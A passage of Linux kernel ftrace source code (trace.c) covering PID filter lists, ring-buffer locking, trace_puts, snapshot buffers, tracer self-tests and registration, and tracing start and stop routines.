long)trace_pid_next(pid_list, (void *)pid, &l)) ; return (void *)pid; } /** * trace_pid_show - show the current pid in seq_file processing * @m: The seq_file structure to write into * @v: A void pointer of the pid (+1) value to display * * Can be directly used by seq_file operations to display the current * pid value. */ int trace_pid_show(struct seq_file *m, void *v) { unsigned long pid = (unsigned long)v - 1; seq_printf(m, "%lu\n", pid); return 0; } /* 128 should be much more than enough */ #define PID_BUF_SIZE 127 int trace_pid_write(struct trace_pid_list *filtered_pids, struct trace_pid_list **new_pid_list, const char __user *ubuf, size_t cnt) { struct trace_pid_list *pid_list; struct trace_parser parser; unsigned long val; int nr_pids = 0; ssize_t read = 0; ssize_t ret = 0; loff_t pos; pid_t pid; if (trace_parser_get_init(&parser, PID_BUF_SIZE + 1)) return -ENOMEM; /* * Always recreate a new array. The write is an all or nothing * operation. Always create a new array when adding new pids by * the user. If the operation fails, then the current list is * not modified. */ pid_list = kmalloc(sizeof(*pid_list), GFP_KERNEL); if (!pid_list) return -ENOMEM; pid_list->pid_max = READ_ONCE(pid_max); /* Only truncating will shrink pid_max */ if (filtered_pids && filtered_pids->pid_max > pid_list->pid_max) pid_list->pid_max = filtered_pids->pid_max; pid_list->pids = vzalloc((pid_list->pid_max + 7) >> 3); if (!pid_list->pids) { kfree(pid_list); return -ENOMEM; } if (filtered_pids) { /* copy the current bits to the new max */ for_each_set_bit(pid, filtered_pids->pids, filtered_pids->pid_max) { set_bit(pid, pid_list->pids); nr_pids++; } } while (cnt > 0) { pos = 0; ret = trace_get_user(&parser, ubuf, cnt, &pos); if (ret < 0 || !trace_parser_loaded(&parser)) break; read += ret; ubuf += ret; cnt -= ret; ret = -EINVAL; if (kstrtoul(parser.buffer, 0, &val)) break; if (val >= pid_list->pid_max) break; pid = (pid_t)val; set_bit(pid, pid_list->pids); nr_pids++; trace_parser_clear(&parser); ret = 0; } trace_parser_put(&parser); if (ret < 0) { trace_free_pid_list(pid_list); return ret; } if (!nr_pids) { /* Cleared the list of pids */ trace_free_pid_list(pid_list); read = ret; pid_list = NULL; } *new_pid_list = pid_list; return read; } static u64 buffer_ftrace_now(struct trace_buffer *buf, int cpu) { u64 ts; /* Early boot up does not have a buffer yet */ if (!buf->buffer) return trace_clock_local(); ts = ring_buffer_time_stamp(buf->buffer, cpu); ring_buffer_normalize_time_stamp(buf->buffer, cpu, &ts); return ts; } u64 ftrace_now(int cpu) { return buffer_ftrace_now(&global_trace.trace_buffer, cpu); } /** * tracing_is_enabled - Show if global_trace has been disabled * * Shows if the global trace has been enabled or not. It uses the * mirror flag "buffer_disabled" to be used in fast paths such as for * the irqsoff tracer. But it may be inaccurate due to races. If you * need to know the accurate state, use tracing_is_on() which is a little * slower, but accurate. */ int tracing_is_enabled(void) { /* * For quick access (irqsoff uses this in fast path), just * return the mirror variable of the state of the ring buffer. * It's a little racy, but we don't really care. */ smp_rmb(); return !global_trace.buffer_disabled; } /* * trace_buf_size is the size in bytes that is allocated * for a buffer. Note, the number of bytes is always rounded * to page size. * * This number is purposely set to a low number of 16384. * If the dump on oops happens, it will be much appreciated * to not have to wait for all that output. Anyway this can be * boot time and run time configurable. */ #define TRACE_BUF_SIZE_DEFAULT 1441792UL /* 16384 * 88 (sizeof(entry)) */ static unsigned long trace_buf_size = TRACE_BUF_SIZE_DEFAULT; /* trace_types holds a link list of available tracers. */ static struct tracer *trace_types __read_mostly; /* * trace_types_lock is used to protect the trace_types list. */ DEFINE_MUTEX(trace_types_lock); /* * serialize the access of the ring buffer * * ring buffer serializes readers, but it is low level protection. * The validity of the events (which returns by ring_buffer_peek() ..etc) * are not protected by ring buffer. * * The content of events may become garbage if we allow other process consumes * these events concurrently: * A) the page of the consumed events may become a normal page * (not reader page) in ring buffer, and this page will be rewrited * by events producer. * B) The page of the consumed events may become a page for splice_read, * and this page will be returned to system. * * These primitives allow multi process access to different cpu ring buffer * concurrently. * * These primitives don't distinguish read-only and read-consume access. * Multi read-only access are also serialized. */ #ifdef CONFIG_SMP static DECLARE_RWSEM(all_cpu_access_lock); static DEFINE_PER_CPU(struct mutex, cpu_access_lock); static inline void trace_access_lock(int cpu) { if (cpu == RING_BUFFER_ALL_CPUS) { /* gain it for accessing the whole ring buffer. */ down_write(&all_cpu_access_lock); } else { /* gain it for accessing a cpu ring buffer. */ /* Firstly block other trace_access_lock(RING_BUFFER_ALL_CPUS). */ down_read(&all_cpu_access_lock); /* Secondly block other access to this @cpu ring buffer. */ mutex_lock(&per_cpu(cpu_access_lock, cpu)); } } static inline void trace_access_unlock(int cpu) { if (cpu == RING_BUFFER_ALL_CPUS) { up_write(&all_cpu_access_lock); } else { mutex_unlock(&per_cpu(cpu_access_lock, cpu)); up_read(&all_cpu_access_lock); } } static inline void trace_access_lock_init(void) { int cpu; for_each_possible_cpu(cpu) mutex_init(&per_cpu(cpu_access_lock, cpu)); } #else static DEFINE_MUTEX(access_lock); static inline void trace_access_lock(int cpu) { (void)cpu; mutex_lock(&access_lock); } static inline void trace_access_unlock(int cpu) { (void)cpu; mutex_unlock(&access_lock); } static inline void trace_access_lock_init(void) { } #endif #ifdef CONFIG_STACKTRACE static void __ftrace_trace_stack(struct ring_buffer *buffer, unsigned long flags, int skip, int pc, struct pt_regs *regs); static inline void ftrace_trace_stack(struct trace_array *tr, struct ring_buffer *buffer, unsigned long flags, int skip, int pc, struct pt_regs *regs); #else static inline void __ftrace_trace_stack(struct ring_buffer *buffer, unsigned long flags, int skip, int pc, struct pt_regs *regs) { } static inline void ftrace_trace_stack(struct trace_array *tr, struct ring_buffer *buffer, unsigned long flags, int skip, int pc, struct pt_regs *regs) { } #endif static __always_inline void trace_event_setup(struct ring_buffer_event *event, int type, unsigned long flags, int pc) { struct trace_entry *ent = ring_buffer_event_data(event); tracing_generic_entry_update(ent, flags, pc); ent->type = type; } static __always_inline struct ring_buffer_event * __trace_buffer_lock_reserve(struct ring_buffer *buffer, int type, unsigned long len, unsigned long flags, int pc) { struct ring_buffer_event *event; event = ring_buffer_lock_reserve(buffer, len); if (event != NULL) trace_event_setup(event, type, flags, pc); return event; } void tracer_tracing_on(struct trace_array *tr) { if (tr->trace_buffer.buffer) ring_buffer_record_on(tr->trace_buffer.buffer); /* * This flag is looked at when buffers haven't been allocated * yet, or by some tracers (like irqsoff), that just want to * know if the ring buffer has been disabled, but it can handle * races of where it gets disabled but we still do a record. * As the check is in the fast path of the tracers, it is more * important to be fast than accurate. */ tr->buffer_disabled = 0; /* Make the flag seen by readers */ smp_wmb(); } /** * tracing_on - enable tracing buffers * * This function enables tracing buffers that may have been * disabled with tracing_off. */ void tracing_on(void) { tracer_tracing_on(&global_trace); } EXPORT_SYMBOL_GPL(tracing_on); static __always_inline void __buffer_unlock_commit(struct ring_buffer *buffer, struct ring_buffer_event *event) { __this_cpu_write(trace_taskinfo_save, true); /* If this is the temp buffer, we need to commit fully */ if (this_cpu_read(trace_buffered_event) == event) { /* Length is in event->array[0] */ ring_buffer_write(buffer, event->array[0], &event->array[1]); /* Release the temp buffer */ this_cpu_dec(trace_buffered_event_cnt); } else ring_buffer_unlock_commit(buffer, event); } /** * __trace_puts - write a constant string into the trace buffer. * @ip: The address of the caller * @str: The constant string to write * @size: The size of the string. */ int __trace_puts(unsigned long ip, const char *str, int size) { struct ring_buffer_event *event; struct ring_buffer *buffer; struct print_entry *entry; unsigned long irq_flags; int alloc; int pc; if (!(global_trace.trace_flags & TRACE_ITER_PRINTK)) return 0; pc = preempt_count(); if (unlikely(tracing_selftest_running || tracing_disabled)) return 0; alloc = sizeof(*entry) + size + 2; /* possible \n added */ local_save_flags(irq_flags); buffer = global_trace.trace_buffer.buffer; event = __trace_buffer_lock_reserve(buffer, TRACE_PRINT, alloc, irq_flags, pc); if (!event) return 0; entry = ring_buffer_event_data(event); entry->ip = ip; memcpy(&entry->buf, str, size); /* Add a newline if necessary */ if (entry->buf[size - 1] != '\n') { entry->buf[size] = '\n'; entry->buf[size + 1] = '\0'; } else entry->buf[size] = '\0'; __buffer_unlock_commit(buffer, event); ftrace_trace_stack(&global_trace, buffer, irq_flags, 4, pc, NULL); return size; } EXPORT_SYMBOL_GPL(__trace_puts); /** * __trace_bputs - write the pointer to a constant string into trace buffer * @ip: The address of the caller * @str: The constant string to write to the buffer to */ int __trace_bputs(unsigned long ip, const char *str) { struct ring_buffer_event *event; struct ring_buffer *buffer; struct bputs_entry *entry; unsigned long irq_flags; int size = sizeof(struct bputs_entry); int pc; if (!(global_trace.trace_flags & TRACE_ITER_PRINTK)) return 0; pc = preempt_count(); if (unlikely(tracing_selftest_running || tracing_disabled)) return 0; local_save_flags(irq_flags); buffer = global_trace.trace_buffer.buffer; event = __trace_buffer_lock_reserve(buffer, TRACE_BPUTS, size, irq_flags, pc); if (!event) return 0; entry = ring_buffer_event_data(event); entry->ip = ip; entry->str = str; __buffer_unlock_commit(buffer, event); ftrace_trace_stack(&global_trace, buffer, irq_flags, 4, pc, NULL); return 1; } EXPORT_SYMBOL_GPL(__trace_bputs); #ifdef CONFIG_TRACER_SNAPSHOT void tracing_snapshot_instance(struct trace_array *tr) { struct tracer *tracer = tr->current_trace; unsigned long flags; if (in_nmi()) { internal_trace_puts("*** SNAPSHOT CALLED FROM NMI CONTEXT ***\n"); internal_trace_puts("*** snapshot is being ignored ***\n"); return; } if (!tr->allocated_snapshot) { internal_trace_puts("*** SNAPSHOT NOT ALLOCATED ***\n"); internal_trace_puts("*** stopping trace here! ***\n"); tracing_off(); return; } /* Note, snapshot can not be used when the tracer uses it */ if (tracer->use_max_tr) { internal_trace_puts("*** LATENCY TRACER ACTIVE ***\n"); internal_trace_puts("*** Can not use snapshot (sorry) ***\n"); return; } local_irq_save(flags); update_max_tr(tr, current, smp_processor_id()); local_irq_restore(flags); } /** * tracing_snapshot - take a snapshot of the current buffer. * * This causes a swap between the snapshot buffer and the current live * tracing buffer. You can use this to take snapshots of the live * trace when some condition is triggered, but continue to trace. * * Note, make sure to allocate the snapshot with either * a tracing_snapshot_alloc(), or by doing it manually * with: echo 1 > /sys/kernel/debug/tracing/snapshot * * If the snapshot buffer is not allocated, it will stop tracing. * Basically making a permanent snapshot. */ void tracing_snapshot(void) { struct trace_array *tr = &global_trace; tracing_snapshot_instance(tr); } EXPORT_SYMBOL_GPL(tracing_snapshot); static int resize_buffer_duplicate_size(struct trace_buffer *trace_buf, struct trace_buffer *size_buf, int cpu_id); static void set_buffer_entries(struct trace_buffer *buf, unsigned long val); int tracing_alloc_snapshot_instance(struct trace_array *tr) { int ret; if (!tr->allocated_snapshot) { /* allocate spare buffer */ ret = resize_buffer_duplicate_size(&tr->max_buffer, &tr->trace_buffer, RING_BUFFER_ALL_CPUS); if (ret < 0) return ret; tr->allocated_snapshot = true; } return 0; } static void free_snapshot(struct trace_array *tr) { /* * We don't free the ring buffer. instead, resize it because * The max_tr ring buffer has some state (e.g. ring->clock) and * we want preserve it. */ ring_buffer_resize(tr->max_buffer.buffer, 1, RING_BUFFER_ALL_CPUS); set_buffer_entries(&tr->max_buffer, 1); tracing_reset_online_cpus(&tr->max_buffer); tr->allocated_snapshot = false; } /** * tracing_alloc_snapshot - allocate snapshot buffer. * * This only allocates the snapshot buffer if it isn't already * allocated - it doesn't also take a snapshot. * * This is meant to be used in cases where the snapshot buffer needs * to be set up for events that can't sleep but need to be able to * trigger a snapshot. */ int tracing_alloc_snapshot(void) { struct trace_array *tr = &global_trace; int ret; ret = tracing_alloc_snapshot_instance(tr); WARN_ON(ret < 0); return ret; } EXPORT_SYMBOL_GPL(tracing_alloc_snapshot); /** * tracing_snapshot_alloc - allocate and take a snapshot of the current buffer. * * This is similar to tracing_snapshot(), but it will allocate the * snapshot buffer if it isn't already allocated. Use this only * where it is safe to sleep, as the allocation may sleep. * * This causes a swap between the snapshot buffer and the current live * tracing buffer. You can use this to take snapshots of the live * trace when some condition is triggered, but continue to trace. */ void tracing_snapshot_alloc(void) { int ret; ret = tracing_alloc_snapshot(); if (ret < 0) return; tracing_snapshot(); } EXPORT_SYMBOL_GPL(tracing_snapshot_alloc); #else void tracing_snapshot(void) { WARN_ONCE(1, "Snapshot feature not enabled, but internal snapshot used"); } EXPORT_SYMBOL_GPL(tracing_snapshot); int tracing_alloc_snapshot(void) { WARN_ONCE(1, "Snapshot feature not enabled, but snapshot allocation used"); return -ENODEV; } EXPORT_SYMBOL_GPL(tracing_alloc_snapshot); void tracing_snapshot_alloc(void) { /* Give warning */ tracing_snapshot(); } EXPORT_SYMBOL_GPL(tracing_snapshot_alloc); #endif /* CONFIG_TRACER_SNAPSHOT */ void tracer_tracing_off(struct trace_array *tr) { if (tr->trace_buffer.buffer) ring_buffer_record_off(tr->trace_buffer.buffer); /* * This flag is looked at when buffers haven't been allocated * yet, or by some tracers (like irqsoff), that just want to * know if the ring buffer has been disabled, but it can handle * races of where it gets disabled but we still do a record. * As the check is in the fast path of the tracers, it is more * important to be fast than accurate. */ tr->buffer_disabled = 1; /* Make the flag seen by readers */ smp_wmb(); } /** * tracing_off - turn off tracing buffers * * This function stops the tracing buffers from recording data. * It does not disable any overhead the tracers themselves may * be causing. This function simply causes all recording to * the ring buffers to fail. */ void tracing_off(void) { tracer_tracing_off(&global_trace); } EXPORT_SYMBOL_GPL(tracing_off); void disable_trace_on_warning(void) { if (__disable_trace_on_warning) tracing_off(); } /** * tracer_tracing_is_on - show real state of ring buffer enabled * @tr : the trace array to know if ring buffer is enabled * * Shows real state of the ring buffer if it is enabled or not. */ int tracer_tracing_is_on(struct trace_array *tr) { if (tr->trace_buffer.buffer) return ring_buffer_record_is_on(tr->trace_buffer.buffer); return !tr->buffer_disabled; } /** * tracing_is_on - show state of ring buffers enabled */ int tracing_is_on(void) { return tracer_tracing_is_on(&global_trace); } EXPORT_SYMBOL_GPL(tracing_is_on); static int __init set_buf_size(char *str) { unsigned long buf_size; if (!str) return 0; buf_size = memparse(str, &str); /* nr_entries can not be zero */ if (buf_size == 0) return 0; trace_buf_size = buf_size; return 1; } __setup("trace_buf_size=", set_buf_size); static int __init set_tracing_thresh(char *str) { unsigned long threshold; int ret; if (!str) return 0; ret = kstrtoul(str, 0, &threshold); if (ret < 0) return 0; tracing_thresh = threshold * 1000; return 1; } __setup("tracing_thresh=", set_tracing_thresh); unsigned long nsecs_to_usecs(unsigned long nsecs) { return nsecs / 1000; } /* * TRACE_FLAGS is defined as a tuple matching bit masks with strings. * It uses C(a, b) where 'a' is the eval (enum) name and 'b' is the string that * matches it. By defining "C(a, b) b", TRACE_FLAGS becomes a list * of strings in the order that the evals (enum) were defined. */ #undef C #define C(a, b) b /* These must match the bit postions in trace_iterator_flags */ static const char *trace_options[] = { TRACE_FLAGS NULL }; static struct { u64 (*func)(void); const char *name; int in_ns; /* is this clock in nanoseconds? */ } trace_clocks[] = { { trace_clock_local, "local", 1 }, { trace_clock_global, "global", 1 }, { trace_clock_counter, "counter", 0 }, { trace_clock_jiffies, "uptime", 0 }, { trace_clock, "perf", 1 }, { ktime_get_mono_fast_ns, "mono", 1 }, { ktime_get_raw_fast_ns, "mono_raw", 1 }, { ktime_get_boot_fast_ns, "boot", 1 }, ARCH_TRACE_CLOCKS }; bool trace_clock_in_ns(struct trace_array *tr) { if (trace_clocks[tr->clock_id].in_ns) return true; return false; } /* * trace_parser_get_init - gets the buffer for trace parser */ int trace_parser_get_init(struct trace_parser *parser, int size) { memset(parser, 0, sizeof(*parser)); parser->buffer = kmalloc(size, GFP_KERNEL); if (!parser->buffer) return 1; parser->size = size; return 0; } /* * trace_parser_put - frees the buffer for trace parser */ void trace_parser_put(struct trace_parser *parser) { kfree(parser->buffer); parser->buffer = NULL; } /* * trace_get_user - reads the user input string separated by space * (matched by isspace(ch)) * * For each string found the 'struct trace_parser' is updated, * and the function returns. * * Returns number of bytes read. * * See kernel/trace/trace.h for 'struct trace_parser' details. */ int trace_get_user(struct trace_parser *parser, const char __user *ubuf, size_t cnt, loff_t *ppos) { char ch; size_t read = 0; ssize_t ret; if (!*ppos) trace_parser_clear(parser); ret = get_user(ch, ubuf++); if (ret) goto out; read++; cnt--; /* * The parser is not finished with the last write, * continue reading the user input without skipping spaces. */ if (!parser->cont) { /* skip white space */ while (cnt && isspace(ch)) { ret = get_user(ch, ubuf++); if (ret) goto out; read++; cnt--; } parser->idx = 0; /* only spaces were written */ if (isspace(ch) || !ch) { *ppos += read; ret = read; goto out; } } /* read the non-space input */ while (cnt && !isspace(ch) && ch) { if (parser->idx < parser->size - 1) parser->buffer[parser->idx++] = ch; else { ret = -EINVAL; goto out; } ret = get_user(ch, ubuf++); if (ret) goto out; read++; cnt--; } /* We either got finished input or we have to wait for another call. */ if (isspace(ch) || !ch) { parser->buffer[parser->idx] = 0; parser->cont = false; } else if (parser->idx < parser->size - 1) { parser->cont = true; parser->buffer[parser->idx++] = ch; /* Make sure the parsed string always terminates with '\0'. */ parser->buffer[parser->idx] = 0; } else { ret = -EINVAL; goto out; } *ppos += read; ret = read; out: return ret; } /* TODO add a seq_buf_to_buffer() */ static ssize_t trace_seq_to_buffer(struct trace_seq *s, void *buf, size_t cnt) { int len; if (trace_seq_used(s) <= s->seq.readpos) return -EBUSY; len = trace_seq_used(s) - s->seq.readpos; if (cnt > len) cnt = len; memcpy(buf, s->buffer + s->seq.readpos, cnt); s->seq.readpos += cnt; return cnt; } unsigned long __read_mostly tracing_thresh; #ifdef CONFIG_TRACER_MAX_TRACE /* * Copy the new maximum trace into the separate maximum-trace * structure. (this way the maximum trace is permanently saved, * for later retrieval via /sys/kernel/tracing/tracing_max_latency) */ static void __update_max_tr(struct trace_array *tr, struct task_struct *tsk, int cpu) { struct trace_buffer *trace_buf = &tr->trace_buffer; struct trace_buffer *max_buf = &tr->max_buffer; struct trace_array_cpu *data = per_cpu_ptr(trace_buf->data, cpu); struct trace_array_cpu *max_data = per_cpu_ptr(max_buf->data, cpu); max_buf->cpu = cpu; max_buf->time_start = data->preempt_timestamp; max_data->saved_latency = tr->max_latency; max_data->critical_start = data->critical_start; max_data->critical_end = data->critical_end; memcpy(max_data->comm, tsk->comm, TASK_COMM_LEN); max_data->pid = tsk->pid; /* * If tsk == current, then use current_uid(), as that does not use * RCU. The irq tracer can be called out of RCU scope. */ if (tsk == current) max_data->uid = current_uid(); else max_data->uid = task_uid(tsk); max_data->nice = tsk->static_prio - 20 - MAX_RT_PRIO; max_data->policy = tsk->policy; max_data->rt_priority = tsk->rt_priority; /* record this tasks comm */ tracing_record_cmdline(tsk); } /** * update_max_tr - snapshot all trace buffers from global_trace to max_tr * @tr: tracer * @tsk: the task with the latency * @cpu: The cpu that initiated the trace. * * Flip the buffers between the @tr and the max_tr and record information * about which task was the cause of this latency. */ void update_max_tr(struct trace_array *tr, struct task_struct *tsk, int cpu) { struct ring_buffer *buf; if (tr->stop_count) return; WARN_ON_ONCE(!irqs_disabled()); if (!tr->allocated_snapshot) { /* Only the nop tracer should hit this when disabling */ WARN_ON_ONCE(tr->current_trace != &nop_trace); return; } arch_spin_lock(&tr->max_lock); buf = tr->trace_buffer.buffer; tr->trace_buffer.buffer = tr->max_buffer.buffer; tr->max_buffer.buffer = buf; __update_max_tr(tr, tsk, cpu); arch_spin_unlock(&tr->max_lock); } /** * update_max_tr_single - only copy one trace over, and reset the rest * @tr - tracer * @tsk - task with the latency * @cpu - the cpu of the buffer to copy. * * Flip the trace of a single CPU buffer between the @tr and the max_tr. */ void update_max_tr_single(struct trace_array *tr, struct task_struct *tsk, int cpu) { int ret; if (tr->stop_count) return; WARN_ON_ONCE(!irqs_disabled()); if (!tr->allocated_snapshot) { /* Only the nop tracer should hit this when disabling */ WARN_ON_ONCE(tr->current_trace != &nop_trace); return; } arch_spin_lock(&tr->max_lock); ret = ring_buffer_swap_cpu(tr->max_buffer.buffer, tr->trace_buffer.buffer, cpu); if (ret == -EBUSY) { /* * We failed to swap the buffer due to a commit taking * place on this CPU. We fail to record, but we reset * the max trace buffer (no one writes directly to it) * and flag that it failed. */ trace_array_printk_buf(tr->max_buffer.buffer, _THIS_IP_, "Failed to swap buffers due to commit in progress\n"); } WARN_ON_ONCE(ret && ret != -EAGAIN && ret != -EBUSY); __update_max_tr(tr, tsk, cpu); arch_spin_unlock(&tr->max_lock); } #endif /* CONFIG_TRACER_MAX_TRACE */ static int wait_on_pipe(struct trace_iterator *iter, bool full) { /* Iterators are static, they should be filled or empty */ if (trace_buffer_iter(iter, iter->cpu_file)) return 0; return ring_buffer_wait(iter->trace_buffer->buffer, iter->cpu_file, full); } #ifdef CONFIG_FTRACE_STARTUP_TEST static bool selftests_can_run; struct trace_selftests { struct list_head list; struct tracer *type; }; static LIST_HEAD(postponed_selftests); static int save_selftest(struct tracer *type) { struct trace_selftests *selftest; selftest = kmalloc(sizeof(*selftest), GFP_KERNEL); if (!selftest) return -ENOMEM; selftest->type = type; list_add(&selftest->list, &postponed_selftests); return 0; } static int run_tracer_selftest(struct tracer *type) { struct trace_array *tr = &global_trace; struct tracer *saved_tracer = tr->current_trace; int ret; if (!type->selftest || tracing_selftest_disabled) return 0; /* * If a tracer registers early in boot up (before scheduling is * initialized and such), then do not run its selftests yet. * Instead, run it a little later in the boot process. */ if (!selftests_can_run) return save_selftest(type); /* * Run a selftest on this tracer. * Here we reset the trace buffer, and set the current * tracer to be this tracer. The tracer can then run some * internal tracing to verify that everything is in order. * If we fail, we do not register this tracer. */ tracing_reset_online_cpus(&tr->trace_buffer); tr->current_trace = type; #ifdef CONFIG_TRACER_MAX_TRACE if (type->use_max_tr) { /* If we expanded the buffers, make sure the max is expanded too */ if (ring_buffer_expanded) ring_buffer_resize(tr->max_buffer.buffer, trace_buf_size, RING_BUFFER_ALL_CPUS); tr->allocated_snapshot = true; } #endif /* the test is responsible for initializing and enabling */ pr_info("Testing tracer %s: ", type->name); ret = type->selftest(type, tr); /* the test is responsible for resetting too */ tr->current_trace = saved_tracer; if (ret) { printk(KERN_CONT "FAILED!\n"); /* Add the warning after printing 'FAILED' */ WARN_ON(1); return -1; } /* Only reset on passing, to avoid touching corrupted buffers */ tracing_reset_online_cpus(&tr->trace_buffer); #ifdef CONFIG_TRACER_MAX_TRACE if (type->use_max_tr) { tr->allocated_snapshot = false; /* Shrink the max buffer again */ if (ring_buffer_expanded) ring_buffer_resize(tr->max_buffer.buffer, 1, RING_BUFFER_ALL_CPUS); } #endif printk(KERN_CONT "PASSED\n"); return 0; } static __init int init_trace_selftests(void) { struct trace_selftests *p, *n; struct tracer *t, **last; int ret; selftests_can_run = true; mutex_lock(&trace_types_lock); if (list_empty(&postponed_selftests)) goto out; pr_info("Running postponed tracer tests:\n"); list_for_each_entry_safe(p, n, &postponed_selftests, list) { ret = run_tracer_selftest(p->type); /* If the test fails, then warn and remove from available_tracers */ if (ret < 0) { WARN(1, "tracer: %s failed selftest, disabling\n", p->type->name); last = &trace_types; for (t = trace_types; t; t = t->next) { if (t == p->type) { *last = t->next; break; } last = &t->next; } } list_del(&p->list); kfree(p); } out: mutex_unlock(&trace_types_lock); return 0; } core_initcall(init_trace_selftests); #else static inline int run_tracer_selftest(struct tracer *type) { return 0; } #endif /* CONFIG_FTRACE_STARTUP_TEST */ static void add_tracer_options(struct trace_array *tr, struct tracer *t); static void __init apply_trace_boot_options(void); /** * register_tracer - register a tracer with the ftrace system. * @type - the plugin for the tracer * * Register a new plugin tracer. */ int __init register_tracer(struct tracer *type) { struct tracer *t; int ret = 0; if (!type->name) { pr_info("Tracer must have a name\n"); return -1; } if (strlen(type->name) >= MAX_TRACER_SIZE) { pr_info("Tracer has a name longer than %d\n", MAX_TRACER_SIZE); return -1; } mutex_lock(&trace_types_lock); tracing_selftest_running = true; for (t = trace_types; t; t = t->next) { if (strcmp(type->name, t->name) == 0) { /* already found */ pr_info("Tracer %s already registered\n", type->name); ret = -1; goto out; } } if (!type->set_flag) type->set_flag = &dummy_set_flag; if (!type->flags) { /*allocate a dummy tracer_flags*/ type->flags = kmalloc(sizeof(*type->flags), GFP_KERNEL); if (!type->flags) { ret = -ENOMEM; goto out; } type->flags->val = 0; type->flags->opts = dummy_tracer_opt; } else if (!type->flags->opts) type->flags->opts = dummy_tracer_opt; /* store the tracer for __set_tracer_option */ type->flags->trace = type; ret = run_tracer_selftest(type); if (ret < 0) goto out; type->next = trace_types; trace_types = type; add_tracer_options(&global_trace, type); out: tracing_selftest_running = false; mutex_unlock(&trace_types_lock); if (ret || !default_bootup_tracer) goto out_unlock; if (strncmp(default_bootup_tracer, type->name, MAX_TRACER_SIZE)) goto out_unlock; printk(KERN_INFO "Starting tracer '%s'\n", type->name); /* Do we want this tracer to start on bootup? */ tracing_set_tracer(&global_trace, type->name); default_bootup_tracer = NULL; apply_trace_boot_options(); /* disable other selftests, since this will break it. */ tracing_selftest_disabled = true; #ifdef CONFIG_FTRACE_STARTUP_TEST printk(KERN_INFO "Disabling FTRACE selftests due to running tracer '%s'\n", type->name); #endif out_unlock: return ret; } void tracing_reset(struct trace_buffer *buf, int cpu) { struct ring_buffer *buffer = buf->buffer; if (!buffer) return; ring_buffer_record_disable(buffer); /* Make sure all commits have finished */ synchronize_sched(); ring_buffer_reset_cpu(buffer, cpu); ring_buffer_record_enable(buffer); } void tracing_reset_online_cpus(struct trace_buffer *buf) { struct ring_buffer *buffer = buf->buffer; int cpu; if (!buffer) return; ring_buffer_record_disable(buffer); /* Make sure all commits have finished */ synchronize_sched(); buf->time_start = buffer_ftrace_now(buf, buf->cpu); for_each_online_cpu(cpu) ring_buffer_reset_cpu(buffer, cpu); ring_buffer_record_enable(buffer); } /* Must have trace_types_lock held */ void tracing_reset_all_online_cpus(void) { struct trace_array *tr; list_for_each_entry(tr, &ftrace_trace_arrays, list) { if (!tr->clear_trace) continue; tr->clear_trace = false; tracing_reset_online_cpus(&tr->trace_buffer); #ifdef CONFIG_TRACER_MAX_TRACE tracing_reset_online_cpus(&tr->max_buffer); #endif } } static int *tgid_map; #define SAVED_CMDLINES_DEFAULT 128 #define NO_CMDLINE_MAP UINT_MAX static arch_spinlock_t trace_cmdline_lock = __ARCH_SPIN_LOCK_UNLOCKED; struct saved_cmdlines_buffer { unsigned map_pid_to_cmdline[PID_MAX_DEFAULT+1]; unsigned *map_cmdline_to_pid; unsigned cmdline_num; int cmdline_idx; char *saved_cmdlines; }; static struct saved_cmdlines_buffer *savedcmd; /* temporary disable recording */ static atomic_t trace_record_taskinfo_disabled __read_mostly; static inline char *get_saved_cmdlines(int idx) { return &savedcmd->saved_cmdlines[idx * TASK_COMM_LEN]; } static inline void set_cmdline(int idx, const char *cmdline) { memcpy(get_saved_cmdlines(idx), cmdline, TASK_COMM_LEN); } static int allocate_cmdlines_buffer(unsigned int val, struct saved_cmdlines_buffer *s) { s->map_cmdline_to_pid = kmalloc_array(val, sizeof(*s->map_cmdline_to_pid), GFP_KERNEL); if (!s->map_cmdline_to_pid) return -ENOMEM; s->saved_cmdlines = kmalloc_array(TASK_COMM_LEN, val, GFP_KERNEL); if (!s->saved_cmdlines) { kfree(s->map_cmdline_to_pid); return -ENOMEM; } s->cmdline_idx = 0; s->cmdline_num = val; memset(&s->map_pid_to_cmdline, NO_CMDLINE_MAP, sizeof(s->map_pid_to_cmdline)); memset(s->map_cmdline_to_pid, NO_CMDLINE_MAP, val * sizeof(*s->map_cmdline_to_pid)); return 0; } static int trace_create_savedcmd(void) { int ret; savedcmd = kmalloc(sizeof(*savedcmd), GFP_KERNEL); if (!savedcmd) return -ENOMEM; ret = allocate_cmdlines_buffer(SAVED_CMDLINES_DEFAULT, savedcmd); if (ret < 0) { kfree(savedcmd); savedcmd = NULL; return -ENOMEM; } return 0; } int is_tracing_stopped(void) { return global_trace.stop_count; } /** * tracing_start - quick start of the tracer * * If tracing is enabled but was stopped by tracing_stop, * this will start the tracer back up. */ void tracing_start(void) { struct ring_buffer *buffer; unsigned long flags; if (tracing_disabled) return; raw_spin_lock_irqsave(&global_trace.start_lock, flags); if (--global_trace.stop_count) { if (global_trace.stop_count < 0) { /* Someone screwed up their debugging */ WARN_ON_ONCE(1); global_trace.stop_count = 0; } goto out; } /* Prevent the buffers from switching */ arch_spin_lock(&global_trace.max_lock); buffer = global_trace.trace_buffer.buffer; if (buffer) ring_buffer_record_enable(buffer); #ifdef CONFIG_TRACER_MAX_TRACE buffer = global_trace.max_buffer.buffer; if (buffer) ring_buffer_record_enable(buffer); #endif arch_spin_unlock(&global_trace.max_lock); out: raw_spin_unlock_irqrestore(&global_trace.start_lock, flags); } static void tracing_start_tr(struct trace_array *tr) { struct ring_buffer *buffer; unsigned long flags; if (tracing_disabled) return; /* If global, we need to also start the max tracer */ if (tr->flags & TRACE_ARRAY_FL_GLOBAL) return tracing_start(); raw_spin_lock_irqsave(&tr->start_lock, flags); if (--tr->stop_count) { if (tr->stop_count < 0) { /* Someone screwed up their debugging */ WARN_ON_ONCE(1); tr->stop_count = 0; } goto out; } buffer = tr->trace_buffer.buffer; if (buffer) ring_buffer_record_enable(buffer); out: raw_spin_unlock_irqrestore(&tr->start_lock, flags); } /** * tracing_stop - quick stop of the tracer * * Light weight way to stop tracing. Use in conjunction with * tracing_start. */ void tracing_stop(void) { struct ring_buffer *buffer; unsigned long flags; raw_spin_lock_irqsave(&global_trace.start_lock, flags); if (global_trace.stop_count++) goto out; /* Prevent the buffers from switching */ arch_spin_lock(&global_trace.max_lock); buffer = global_trace.trace_buffer.buffer; if (buffer) ring_buffer_record_disable(buffer); #ifdef CONFIG_TRACER_MAX_TRACE buffer = global_trace.max_buffer.buffer; if (buffer) ring_buffer_record_disable(buffer); #endif arch_spin_unlock(&global_trace.max_lock); out: raw_spin_unlock_irqrestore(&global_trace.start_lock, flags); } static void tracing_stop_tr(struct trace_array *tr) { struct ring_buffer *buffer; unsigned 